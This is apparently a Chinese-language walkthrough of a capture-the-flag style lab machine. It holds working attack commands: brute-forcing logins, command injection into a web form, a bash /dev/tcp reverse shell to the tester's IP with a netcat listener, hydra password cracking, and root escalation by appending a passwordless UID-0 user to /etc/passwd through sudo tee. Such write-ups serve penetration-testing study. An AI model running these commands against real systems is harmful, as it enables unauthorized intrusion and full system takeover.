信息收集
首先使用nmap确定靶机的ip地址
nmap -sn 192.168.31.0/24
确认目标ip地址是192.168.31.138
然后继续使用nmap探测目标的端口开放情况
nmap -sS -p- 192.168.31.138
只开放了web服务和ssh服务
然后我们去web页面进行访问
80端口渗透
发现是一个admin登录页面,这时候我们一遍先尝试爆破admin密码,一遍用dirsearch看下还有没有其他页面
dirsearch -u http://192.168.31.138
没什么可用的,那就接着试试爆破密码
发现是明文传输的,爆破得到密码happy
登录发现是查看磁盘文件的页面,于是试试命令执行漏洞
命令执行
发现数据跟预想的一样,命令是明文传输的,这时候我们就可以修改radio传递的参数来实现命令执行
写一句话木马(失败)
想先测试下是否能写入一个一句话木马到他这个网站根目录下,发现他过滤了
反弹shell
再试一下写一个反弹shell看看能不能成功
bash -c 'exec bash -i &>/dev/tcp/192.168.31.129/1111 <&1'
注意发包时需要对特殊字符进行url编码
bash+-c+'exec+bash+-i+%26>/dev/tcp/192.168.31.129/1111+<%261'
为了获得一个完整的shell我们需要先再kali中输入以下代码
bash
nc -lvvp 1111
python -c 'import pty; pty.spawn("/bin/bash")'
#输入完执行Ctrl + Z
stty raw -echo; fg
获取到完整的shell终端后就可以执行tab补全等可交互式操作
后端信息收集
由于获取shell终端的用户是www用户,权限非常低,所以我们先看看都有什么东西,首先先看看都有哪些用户
cat /etc/passwd
发现有两个用户jim,charles和sam比较可疑,去他们的家目录看一下
发现只有jim用户里面有东西
发现再backups文件夹下有一个备份文件,查看一下
发现是一个密码本,应该是jim用户的密码,保存到kali,然后用hydra爆破试一下
账号jim密码jibril04
jim用户信息收集
登录到jim用户信息收集时发现有新的mail在/var/mail里,查看发现了Charles的密码
提权
登录到Charles用户发现可以执行sudo命令
sudo -l
发现可以有teehee可以以root身份执行且不需要密码
这里使用的是tee提权
tee命令用于从标准输入读取数据,并将其写入一个或多个文件,同时保持标准输出的功能。在某些情况下,如果当前用户具有对某个文件的写权限,并且可以通过sudo命令以root权限运行tee命令,那么就可以利用这个特性来修改系统文件,从而实现提权
我们直接使用tee添加一个用户,使他可以登录到root账户且不需要密码
echo "hacker::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su hacker
成功登录到root用户